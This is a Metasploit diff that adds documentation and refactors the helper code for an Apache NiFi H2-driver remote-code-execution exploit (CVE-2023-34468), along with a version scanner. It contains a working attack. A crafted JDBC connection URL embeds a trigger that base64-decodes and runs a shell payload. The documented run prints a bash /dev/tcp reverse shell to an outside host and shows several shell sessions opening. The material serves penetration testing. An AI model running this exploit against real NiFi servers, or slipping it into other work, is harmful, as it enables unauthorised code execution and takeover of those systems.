diff --git a/documentation/modules/exploit/linux/http/apache_nifi_h2_rce.md b/documentation/modules/exploit/linux/http/apache_nifi_h2_rce.md new file mode 100644 index 0000000000..2dfad96dbb --- /dev/null +++ b/documentation/modules/exploit/linux/http/apache_nifi_h2_rce.md @@ -0,0 +1,97 @@ +## Vulnerable Application + +The DBCPConnectionPool and HikariCPConnectionPool Controller Services in +Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user +to configure a Database URL with the H2 driver that enables custom code execution. +This exploit will create a new ExecuteSQL process, connect it to a DB Connection +Pool, and create a new H2 based connection. The connection is able to create +a new memory based h2 database on the fly, with a code execution inlined that +executes when the H2 connection, and process are started. + +This exploit will result in several shells (5-7). +Successfully tested against Apache nifi 1.16.0 through 1.21.0. + +### Vulnerable Docker Images + +Docker images are available, and exploitable in the default configuration. + +``` +docker run -p 8443:8443 apache/nifi:1.20.0 +``` + +After the image runs for a minute or two, you'll need to grab a set of credentials +by running grep against the logs: + +``` +docker logs [container_id] | grep Generated +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/linux/http/apache_nifi_h2_rce ` +1. Do: `set username [username]` +1. Do: `set password [password]` +1. Do: `set rhosts [ip]` +1. Do: `set lhost [ip]` +1. Do: `run` +1. You should get a shell. + +## Options + +### DELAY + +The delay time before stopping and deleting the processor and DB connection pool. Defaults to `15` + +## Scenarios + +### Nifi 1.20.0 on Docker + +``` +msf6 > use exploit/linux/http/apache_nifi_h2_rce +[*] Using configured payload cmd/unix/reverse_bash +msf6 exploit(linux/http/apache_nifi_h2_rce) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 exploit(linux/http/apache_nifi_h2_rce) > set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf6 exploit(linux/http/apache_nifi_h2_rce) > set username 4b6caac4-e1c6-431d-8e63-f014a6541362 +username => 4b6caac4-e1c6-431d-8e63-f014a6541362 +msf6 exploit(linux/http/apache_nifi_h2_rce) > set password E3ke7kCROjBabztg0acFemg5xk2QiQs1 +password => E3ke7kCROjBabztg0acFemg5xk2QiQs1 +msf6 exploit(linux/http/apache_nifi_h2_rce) > set verbose true +verbose => true +msf6 exploit(linux/http/apache_nifi_h2_rce) > exploit + +[+] bash -c '0<&126-;exec 126<>/dev/tcp/1.1.1.1/4444;sh <&126 >&126 2>&126' +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Apache NiFi instance supports logins and vulnerable version detected: 1.20.0 +[+] Retrieved process group: c34bfd91-0189-1000-a1ab-44dda04d471e +[+] Created processor c34ccd20-0189-1000-5ee2-06eb40644237 in process group c34bfd91-0189-1000-a1ab-44dda04d471e +[+] Configured processor c34ccd20-0189-1000-5ee2-06eb40644237 +[+] Configured db connection pool rkkIaE (c34cccc4-0189-1000-22c2-9fa3bb57d87b) +[+] Enabling db connection pool +[+] Starting processor +[*] Command shell session 1 opened (1.1.1.1:4444 -> 172.17.0.2:49468) at 2023-08-04 21:25:44 -0400 +[*] Waiting 15 seconds before stopping and deleting +[*] Command shell session 2 opened (1.1.1.1:4444 -> 172.17.0.2:49470) at 2023-08-04 21:25:45 -0400 +[*] Command shell session 3 opened (1.1.1.1:4444 -> 172.17.0.2:49478) at 2023-08-04 21:25:46 -0400 +[*] Command shell session 4 opened (1.1.1.1:4444 -> 172.17.0.2:49488) at 2023-08-04 21:25:49 -0400 +[*] Command shell session 6 opened (1.1.1.1:4444 -> 172.17.0.2:54526) at 2023-08-04 21:25:50 -0400 +[*] Command shell session 7 opened (1.1.1.1:4444 -> 172.17.0.2:54534) at 2023-08-04 21:25:51 -0400 +[+] Stopped and terminated processor c34ccd20-0189-1000-5ee2-06eb40644237 +[*] Found newer revision of c34ccd20-0189-1000-5ee2-06eb40644237, attempting to delete version 4 +[+] Deleted processor c34ccd20-0189-1000-5ee2-06eb40644237 +[+] Disabled db connection pool c34cccc4-0189-1000-22c2-9fa3bb57d87b, sleeping 15 seconds to allow the connection to finish disabling +[*] Found newer revision of c34cccc4-0189-1000-22c2-9fa3bb57d87b, attempting to delete version 1 +[*] Found newer revision of c34cccc4-0189-1000-22c2-9fa3bb57d87b, attempting to delete version 2 +[*] Found newer revision of c34cccc4-0189-1000-22c2-9fa3bb57d87b, attempting to delete version 3 +[*] Found newer revision of c34cccc4-0189-1000-22c2-9fa3bb57d87b, attempting to delete version 4 +[+] Deleted db connection pool c34cccc4-0189-1000-22c2-9fa3bb57d87b + +id +uid=1000(nifi) gid=1000(nifi) groups=1000(nifi) +uname -a +Linux 06967477694d 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 x86_64 x86_64 GNU/Linux +``` diff --git a/documentation/modules/exploit/multi/http/apache_nifi_processor_rce.md b/documentation/modules/exploit/multi/http/apache_nifi_processor_rce.md index f4f6a59f3e..5ce6c84b77 100644 --- a/documentation/modules/exploit/multi/http/apache_nifi_processor_rce.md +++ b/documentation/modules/exploit/multi/http/apache_nifi_processor_rce.md @@ -36,6 +36,12 @@ Verified against 1.12.1, 1.12.1-RC2, and 1.20.0 ### Configuring a Vulnerable Environment +#### Docker + +``` +docker run -p 8443:8443 -d apache/nifi:1.22.0 +``` + #### Windows 1. Download the NiFi binaries zip file from [nifi.apache.org](https://nifi.apache.org/download.html). diff --git a/lib/msf/core/exploit/remote/http/nifi.rb b/lib/msf/core/exploit/remote/http/nifi.rb index 079684ad12..dbee604817 100644 --- a/lib/msf/core/exploit/remote/http/nifi.rb +++ b/lib/msf/core/exploit/remote/http/nifi.rb @@ -4,20 +4,45 @@ module Msf class Exploit class Remote module HTTP - # This module provides a way of interacting with wordpress installations + # This module provides a way of interacting with Apache NiFi installations module Nifi include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Nifi::Auth + include Msf::Exploit::Remote::HTTP::Nifi::Processor + include Msf::Exploit::Remote::HTTP::Nifi::Dbconnectionpool def initialize(info = {}) super register_options( [ + Msf::Opt::RPORT(8443), + Msf::OptString.new('TARGETURI', [ true, 'The URI of the Apache NiFi Application', '/']), Msf::OptString.new('USERNAME', [false, 'Username to authenticate with']), Msf::OptString.new('PASSWORD', [false, 'Password to authenticate with']), Msf::OptString.new('BEARER-TOKEN', [false, 'JWT authenticate with']), ], Msf::Exploit::Remote::HTTP::Nifi ) + + register_advanced_options([ + Msf::OptBool.new('SSL', [true, 'Negotiate SSL connection', true]) + ]) + end + + # Find the version number of the Apache NiFi system based on JS calls on the nifi/ page. + # + # @return [Gem::Version] version number of the system, or nil on error + def get_version + res = send_request_cgi!( + 'uri' => normalize_uri(target_uri.path, 'nifi/') + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200 + + return Rex::Version.new(Regexp.last_match(1)) if res.body =~ %r{js/nf/nf-namespace\.js\?([\d.]*)">} + + nil end # Checks the API response to see if its what is expected and returns a valid result. @@ -46,141 +71,19 @@ module Msf body[item] end - # Determines if the Apache Nifi instance supports login. - # - # @return the value of supportsLogin from the server - def supports_login - response = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'access', 'config') - }) - config = check_response('GETting access configuration', response, 200, 'config') - config['supportsLogin'] - end - # Fetch the root process group's UUID # # @param token [String] The bearer token from a valid login # @return [String] The UUID of the root process group def fetch_root_process_group(token) - opts = { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'process-groups', 'root') } + opts = { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'process-groups', 'root') + } opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token response = send_request_cgi(opts) check_response('GETting root process group', response, 200, 'id') end - - # Creates a processor in a process group - # - # @param token [String] The bearer token from a valid login - # @param process_group [String] UUID of a processor group - # @param type [String] What type of processor to create - # @return [String] The UUID of the root process group - def create_processor(token, process_group, type = 'org.apache.nifi.processors.standard.ExecuteProcess') - body = { - 'component' => { 'type' => type }, - 'revision' => { 'version' => 0 } - } - opts = { - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'process-groups', process_group, 'processors'), - 'ctype' => 'application/json', - 'data' => body.to_json - } - opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token - response = send_request_cgi(opts) - check_response("POSTing new processor in process group #{process_group}", response, 201, 'id') - end - - # Get a processor in a process group - # - # @param token [String] The bearer token from a valid login - # @param processor [String] UUID of a processoror - # @param field [String] the key from the JSON blob to return - # @return [String] THe value from the specified field - def get_processor(token, processor, field = 'id') - opts = { - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'processors', processor) - } - opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token - response = send_request_cgi(opts) - check_response("GETting processor #{processor}", response, 200, field) - end - - # Delete a processor - # - # @param token [String] The bearer token from a valid login - # @param processor [String] UUID of the processes - # @param version [Int] The version number to delete - def delete_processor(token, processor, version = 0) - opts = { - 'method' => 'DELETE', - 'uri' => normalize_uri(target_uri.path, 'processors', processor), - 'vars_get' => { 'version' => version } - } - opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token - response = send_request_cgi(opts) - # if we tried to delete the old revision, go ahead and delete the newer one - # arbitrary version limit of 20 - while response.code == 400 && response.body.include?('is not the most up-to-date revision') && version <= 20 - version += 1 - vprint_status("Found newer revision of #{processor}, attempting to delete version #{version}") - opts['vars_get'] = { 'version' => version } - response = send_request_cgi(opts) - end - - check_response("DELETEting processor #{processor}", response, 200) - end - - # Stop processor - # - # @param token [String] The bearer token from a valid login - # @param processor [String] UUID of the processes - def stop_processor(token, processor) - body = { - 'revision' => { - 'clientId' => 'x', - 'version' => 1 - }, - 'state' => 'STOPPED' - } - opts = { - 'method' => 'PUT', - 'uri' => normalize_uri(target_uri.path, 'processors', processor, 'run-status'), - 'ctype' => 'application/json', - 'data' => body.to_json - } - opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token - response = send_request_cgi(opts) - check_response("PUTting processor #{processor} stop command", response, 200) - - # Stop may not have worked (but must be done first). Terminate threads now - opts = { - 'method' => 'DELETE', - 'uri' => normalize_uri(target_uri.path, 'processors', processor, 'threads') - } - opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token - response = send_request_cgi(opts) - check_response("DELETEing processor #{processor} terminate threads command", response, 200) - end - - # Attempts a login with username and password to retrieve a bearer token for APIs - # - # @return [String] The bearer token on successful login - def retrieve_login_token - response = send_request_cgi( - { - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'access', 'token'), - 'vars_post' => { - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - } - } - ) - check_response('POSTing credentials', response, 201) - response.body - end end end end diff --git a/lib/msf/core/exploit/remote/http/nifi/auth.rb b/lib/msf/core/exploit/remote/http/nifi/auth.rb new file mode 100644 index 0000000000..e74582d447 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/nifi/auth.rb @@ -0,0 +1,33 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Nifi::Auth + # Determines if the Apache Nifi instance supports login. + # + # @return the value of supportsLogin from the server + def supports_login? + response = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'access', 'config') + }) + config = check_response('GETting access configuration', response, 200, 'config') + config['supportsLogin'] + end + + # Attempts a login with username and password to retrieve a bearer token for APIs + # + # @return [String] The bearer token on successful login + def retrieve_login_token + response = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'access', 'token'), + 'vars_post' => { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + } + ) + check_response('POSTing credentials', response, 201) + response.body + end +end diff --git a/lib/msf/core/exploit/remote/http/nifi/dbconnectionpool.rb b/lib/msf/core/exploit/remote/http/nifi/dbconnectionpool.rb new file mode 100644 index 0000000000..0a03691d50 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/nifi/dbconnectionpool.rb @@ -0,0 +1,77 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Nifi::Dbconnectionpool + # Stop DB Connection Pool + # + # @param token [String] The bearer token from a valid login + # @param db_con_pool [String] UUID of the DBConnectionPool + def stop_dbconnectionpool(token, db_con_pool) + body = { + 'disconnectedNodeAcknowledged' => false, + 'state' => 'DISABLED', + 'uiOnly' => true, + 'revision' => { + 'clientId' => 'x', + 'version' => 0 + } + } + opts = { + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', db_con_pool, 'run-status'), + 'ctype' => 'application/json', + 'data' => body.to_json + } + opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token + response = send_request_cgi(opts) + check_response("PUTting disable status for db connection pool #{db_con_pool}", response, 200) + end + + # Delete DB Connection Pool + # + # @param token [String] The bearer token from a valid login + # @param db_con_pool [String] UUID of the DBConnectionPool + def delete_dbconnectionpool(token, db_con_pool) + version = 0 + opts = { + 'method' => 'DELETE', + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', db_con_pool), + 'vars_get' => { + 'version' => version + } + } + opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token + response = send_request_cgi(opts) + while response.code == 400 && response.body.include?('is not the most up-to-date revision') && version <= 20 + version += 1 + vprint_status("Found newer revision of #{db_con_pool}, attempting to delete version #{version}") + opts['vars_get'] = { 'version' => version } + response = send_request_cgi(opts) + end + check_response("DELETing db connection pool #{db_con_pool}", response, 200) + end + + # Start DB Connection Pool + # + # @param token [String] The bearer token from a valid login + # @param db_con_pool [String] UUID of the DBConnectionPool + def start_dbconpool(token, db_con_pool) + body = { + 'disconnectedNodeAcknowledged' => false, + 'state' => 'ENABLED', + 'uiOnly' => true, + 'revision' => { + 'clientId' => 'x', + 'version' => 0 + } + } + opts = { + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', db_con_pool, 'run-status'), + 'ctype' => 'application/json', + 'data' => body.to_json + } + opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token + response = send_request_cgi(opts) + check_response("PUTting start status for db connection pool #{db_con_pool}", response, 200) + end +end diff --git a/lib/msf/core/exploit/remote/http/nifi/processor.rb b/lib/msf/core/exploit/remote/http/nifi/processor.rb new file mode 100644 index 0000000000..0c94341a2d --- /dev/null +++ b/lib/msf/core/exploit/remote/http/nifi/processor.rb @@ -0,0 +1,122 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Nifi::Processor + # Start processor + # + # @param token [String] The bearer token from a valid login + # @param processor [String] UUID of the processes + def start_processor(token, processor) + body = { + 'state' => 'RUNNING', + 'disconnectedNodeAcknowledged' => false, + 'revision' => { + 'clientId' => 'x', + 'version' => 0 + } + } + opts = { + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor, 'run-status'), + 'ctype' => 'application/json', + 'data' => body.to_json + } + opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token + response = send_request_cgi(opts) + check_response("PUTting processor #{processor} configuration", response, 200) + end + + # Stop processor + # + # @param token [String] The bearer token from a valid login + # @param processor [String] UUID of the processes + def stop_processor(token, processor) + body = { + 'revision' => { + 'clientId' => 'x', + 'version' => 1 + }, + 'state' => 'STOPPED' + } + opts = { + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor, 'run-status'), + 'ctype' => 'application/json', + 'data' => body.to_json + } + opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token + response = send_request_cgi(opts) + check_response("PUTting processor #{processor} stop command", response, 200) + + # Stop may not have worked (but must be done first). Terminate threads now + opts = { + 'method' => 'DELETE', + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor, 'threads') + } + opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token + response = send_request_cgi(opts) + check_response("DELETEing processor #{processor} terminate threads command", response, 200) + end + + # Delete a processor + # + # @param token [String] The bearer token from a valid login + # @param processor [String] UUID of the processes + # @param version [Int] The version number to delete + def delete_processor(token, processor, version = 0) + opts = { + 'method' => 'DELETE', + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor), + 'vars_get' => { 'version' => version } + } + opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token + response = send_request_cgi(opts) + # if we tried to delete the old revision, go ahead and delete the newer one + # arbitrary version limit of 20 + while response.code == 400 && response.body.include?('is not the most up-to-date revision') && version <= 20 + version += 1 + vprint_status("Found newer revision of #{processor}, attempting to delete version #{version}") + opts['vars_get'] = { 'version' => version } + response = send_request_cgi(opts) + end + + check_response("DELETEting processor #{processor}", response, 200) + end + + # Creates a processor in a process group + # + # @param token [String] The bearer token from a valid login + # @param process_group [String] UUID of a processor group + # @param type [String] What type of processor to create + # @return [String] The UUID of the root process group + def create_processor(token, process_group, type = 'org.apache.nifi.processors.standard.ExecuteProcess') + body = { + 'component' => { 'type' => type }, + 'revision' => { 'version' => 0 } + } + opts = { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'process-groups', process_group, 'processors'), + 'ctype' => 'application/json', + 'data' => body.to_json + } + opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token + response = send_request_cgi(opts) + check_response("POSTing new processor in process group #{process_group}", response, 201, 'id') + end + + # Get a processor in a process group + # + # @param token [String] The bearer token from a valid login + # @param processor [String] UUID of a processoror + # @param field [String] the key from the JSON blob to return + # @return [String] THe value from the specified field + def get_processor(token, processor, field = 'id') + opts = { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor) + } + opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token + response = send_request_cgi(opts) + check_response("GETting processor #{processor}", response, 200, field) + end +end diff --git a/modules/auxiliary/scanner/http/apache_nifi_version.rb b/modules/auxiliary/scanner/http/apache_nifi_version.rb index ed4167cc65..4d9a48d07c 100644 --- a/modules/auxiliary/scanner/http/apache_nifi_version.rb +++ b/modules/auxiliary/scanner/http/apache_nifi_version.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HTTP::Nifi def initialize(info = {}) super( @@ -31,30 +32,17 @@ class MetasploitModule < Msf::Auxiliary } ) ) - register_options( - [ - Opt::RPORT(8443), - OptString.new('TARGETURI', [ true, 'The URI of the Apache NiFi Application', '/nifi/login']) - ] - ) - register_advanced_options([ - OptBool.new('SSL', [true, 'Negotiate SSL connection', true]) - ]) + deregister_options('USERNAME', 'PASSWORD', 'BEARER-TOKEN') end def run_host(ip) vprint_status("Checking #{ip}") - res = send_request_cgi!( - 'uri' => normalize_uri(target_uri.path) - ) + version = get_version - fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? - fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200 - - if res.body =~ %r{js/nf/nf-namespace\.js\?([\d.]*)">} - print_good("Apache NiFi #{Regexp.last_match(1)} found on #{ip}") - else + if version.nil? print_bad("Apache NiFi not detected on #{ip}") + else + print_good("Apache NiFi #{version} found on #{ip}") end end end diff --git a/modules/exploits/linux/http/apache_nifi_h2_rce.rb b/modules/exploits/linux/http/apache_nifi_h2_rce.rb index 19e87d0776..b103b5b7a1 100644 --- a/modules/exploits/linux/http/apache_nifi_h2_rce.rb +++ b/modules/exploits/linux/http/apache_nifi_h2_rce.rb @@ -19,19 +19,24 @@ class MetasploitModule < Msf::Exploit::Remote The DBCPConnectionPool and HikariCPConnectionPool Controller Services in Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user to configure a Database URL with the H2 driver that enables custom code execution. + This exploit will create a new ExecuteSQL process, connect it to a DB Connection + Pool, and create a new H2 based connection. The connection is able to create + a new memory based h2 database on the fly, with a code execution inlined that + executes when the H2 connection, and process are started. This exploit will result in several shells (5-7). - Successfully tested against Apache nifi 1.20.0 + Successfully tested against Apache nifi 1.16.0 through 1.21.0. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module - 'Matei "Mal" Badanoiu' # discovery, POC + 'Matei "Mal" Badanoiu' # discovery ], 'References' => [ ['CVE', '2023-34468'], ['URL', 'https://lists.apache.org/thread/7b82l4f5blmpkfcynf3y6z4x1vqo59h8'], ['URL', 'https://issues.apache.org/jira/browse/NIFI-11653'], + ['URL', 'https://nifi.apache.org/security.html#1.22.0'], # not many h2 references on the Internet, especially for nifi, so leaving this here # ['URL', 'https://gist.github.com/ijokarumawak/ed9085024eeeefbca19cfb2f20d23ed4#file-table_record_change_detection_example-xml-L65'] # ['URL', 'http://www.h2database.com/html/features.html'] @@ -61,55 +66,13 @@ class MetasploitModule < Msf::Exploit::Remote ) register_options( [ - OptString.new('TARGETURI', [true, 'The base path', '/nifi-api']), - OptString.new('DRIVER', [true, 'Location of the H2 driver', '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar']), # 1.20.0 - OptInt.new('DELAY', [true, 'The delay (s) before stopping and deleting the processor', 10]) + OptString.new('TARGETURI', [true, 'The base path', '/']), + OptInt.new('DELAY', [true, 'The delay (s) before stopping and deleting the processor', 15]) ], self.class ) end - def disable_dbconnectionpool - body = { - 'disconnectedNodeAcknowledged' => false, - 'state' => 'DISABLED', - 'uiOnly' => true, - 'revision' => { - 'clientId' => 'x', - 'version' => 0 - } - } - opts = { - 'method' => 'PUT', - 'uri' => normalize_uri(target_uri.path, 'controller-services', @db_con_pool, 'run-status'), - 'ctype' => 'application/json', - 'data' => body.to_json - } - opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token - response = send_request_cgi(opts) - check_response("PUTting disable status for db connection pool #{@db_con_pool}", response, 200) - end - - def delete_dbconnectionpool - version = 0 - opts = { - 'method' => 'DELETE', - 'uri' => normalize_uri(target_uri.path, 'controller-services', @db_con_pool), - 'vars_get' => { - 'version' => version - } - } - opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token - response = send_request_cgi(opts) - while response.code == 400 && response.body.include?('is not the most up-to-date revision') && version <= 20 - version += 1 - vprint_status("Found newer revision of #{@db_con_pool}, attempting to delete version #{version}") - opts['vars_get'] = { 'version' => version } - response = send_request_cgi(opts) - end - check_response("DELETing db connection pool #{@processor}", response, 200) - end - def create_dbconnectionpool @db_con_pool_name = Rex::Text.rand_text_alphanumeric(6..10) body = { @@ -124,15 +87,14 @@ class MetasploitModule < Msf::Exploit::Remote 'bundle' => { 'group' => 'org.apache.nifi', 'artifact' => 'nifi-dbcp-service-nar', - # XXX this needs to be updated to the version we find - 'version' => '1.20.0' + 'version' => @version.to_s }, 'name' => @db_con_pool_name } } opts = { 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'process-groups', @process_group, 'controller-services'), + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'process-groups', @process_group, 'controller-services'), 'ctype' => 'application/json', 'data' => body.to_json } @@ -141,46 +103,6 @@ class MetasploitModule < Msf::Exploit::Remote check_response("POSTing processor #{@processor} configuration", response, 201, 'id') end - def enable_dbconpool - body = { - 'disconnectedNodeAcknowledged' => false, - 'state' => 'ENABLED', - 'uiOnly' => true, - 'revision' => { - 'clientId' => 'x', - 'version' => 0 - } - } - opts = { - 'method' => 'PUT', - 'uri' => normalize_uri(target_uri.path, 'controller-services', @db_con_pool, 'run-status'), - 'ctype' => 'application/json', - 'data' => body.to_json - } - opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token - response = send_request_cgi(opts) - check_response("PUTting start status for db connection pool #{@db_con_pool}", response, 200) - end - - def start_processor - body = { - 'state' => 'RUNNING', 'disconnectedNodeAcknowledged' => false, - 'revision' => { - 'clientId' => 'x', - 'version' => 0 - } - } - opts = { - 'method' => 'PUT', - 'uri' => normalize_uri(target_uri.path, 'processors', @processor, 'run-status'), - 'ctype' => 'application/json', - 'data' => body.to_json - } - opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token - response = send_request_cgi(opts) - check_response("PUTting processor #{@processor} configuration", response, 200) - end - def configure_dbconpool # our base64ed payload can't have = in it, so we'll pad out with spaces to remove them b64_pe = ::Base64.strict_encode64(payload.encoded) @@ -189,6 +111,17 @@ class MetasploitModule < Msf::Exploit::Remote b64_pe = ::Base64.strict_encode64(payload.encoded + ' ' * equals_count) end + if @version >= Rex::Version.new('1.23.0') + # 1.23.0, not exploitable though + driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.2.220.jar' + elsif @version > Rex::Version.new('1.16.0') + # 1.17.0-1.22.0, only up to 21 is exploitable + driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar' + else + # 1.16.0 + driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.210.jar' + end + body = { 'disconnectedNodeAcknowledged' => false, 'component' => { @@ -198,12 +131,12 @@ class MetasploitModule < Msf::Exploit::Remote 'comments' => '', 'properties' => { # https://github.com/apache/nifi/pull/7349/files#diff-66ccc94a6b0dfa29817ded9c18e5a87c4fff9cd38eeedc3f121f6436ba53e6c0R38 - # we can use a random db name here, the file is created automatically - # XXX would mem work too? - 'Database Connection URL' => "jdbc:h2:file:/tmp/#{Rex::Text.rand_text_alphanumeric(6..10)}.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x", + # we can use a random db name here, the file is created automatically if we write to disk. However, we can be more clean + # by using mem here instead of file + 'Database Connection URL' => "jdbc:h2:mem:#{Rex::Text.rand_text_alpha_upper(6..12)};TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x", 'Database Driver Class Name' => 'org.h2.Driver', # This seems to be installed by default, do we need the location? - 'database-driver-locations' => '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar', # 1.20.0 and 1.21.0, this is a required field to get the controller to start + 'database-driver-locations' => driver, "Max Total Connections": '1' # prevents us from getting multiple callbacks }, 'sensitiveDynamicPropertyNames' => [] @@ -215,7 +148,7 @@ class MetasploitModule < Msf::Exploit::Remote } opts = { 'method' => 'PUT', - 'uri' => normalize_uri(target_uri.path, 'controller-services', @db_con_pool), + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', @db_con_pool), 'ctype' => 'application/json', 'data' => body.to_json } @@ -225,11 +158,11 @@ class MetasploitModule < Msf::Exploit::Remote end def configure_processor + @processor_name = Rex::Text.rand_text_alphanumeric(6..10) body = { - # "disconnectedNodeAcknowledged"=> false, 'component' => { 'id' => @processor, - 'name' => Rex::Text.rand_text_alphanumeric(6..10), + 'name' => @processor_name, 'bulletinLevel' => 'WARN', 'comments' => '', 'config' => { @@ -252,18 +185,18 @@ class MetasploitModule < Msf::Exploit::Remote }, 'revision' => { 'clientId' => 'x', - 'version' => 1 + 'version' => 1 # needs to be 1 since we had 0 before } } opts = { 'method' => 'PUT', - 'uri' => normalize_uri(target_uri.path, 'processors', @processor), + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', @processor), 'ctype' => 'application/json', 'data' => body.to_json } opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token response = send_request_cgi(opts) - check_response("PUTting processor #{@processor} configuration", response, 200) + check_response("PUTting processor #{@processor_name} (#{@processor}) configuration", response, 200) end def check @@ -271,18 +204,19 @@ class MetasploitModule < Msf::Exploit::Remote @cleanup_required = false - response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') }) - if !response + login_type = supports_login? + + if !login_type CheckCode::Unknown - else - body = response.get_json_document - if !body.key?('config') - CheckCode::Safe - elsif body['config']['supportsLogin'] - CheckCode::Detected + elsif login_type + @version = get_version + if @version <= Rex::Version.new('1.21.0') + CheckCode::Detected("Apache NiFi instance supports logins and vulnerable version detected: #{@version}") else - CheckCode::Appears + CheckCode::Safe("Apache NiFi instance supports logins but not non-vulnerable version detected: #{@version}") end + else + CheckCode::Appears('Apache NiFi instance does not support logins') end end @@ -307,10 +241,10 @@ class MetasploitModule < Msf::Exploit::Remote # Delete processor delete_processor(@token, @processor, 3) vprint_good("Deleted processor #{@processor}") - disable_dbconnectionpool + stop_dbconnectionpool(@token, @db_con_pool) vprint_good("Disabled db connection pool #{@db_con_pool}, sleeping #{datastore['DELAY']} seconds to allow the connection to finish disabling") sleep(datastore['DELAY']) - delete_dbconnectionpool + delete_dbconnectionpool(@token, @db_con_pool) vprint_good("Deleted db connection pool #{@db_con_pool}") end @@ -318,7 +252,7 @@ class MetasploitModule < Msf::Exploit::Remote validate_config # Check whether login is required and set/fetch token - if supports_login + if supports_login? if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty? fail_with(Failure::BadConfig, 'Authentication is required. Bearer-Token or Username and Password must be specified') @@ -332,6 +266,10 @@ class MetasploitModule < Msf::Exploit::Remote @token = false end + if @version.nil? + @version = get_version + end + # Retrieve root process group @process_group = fetch_root_process_group(@token) vprint_good("Retrieved process group: #{@process_group}") @@ -347,9 +285,9 @@ class 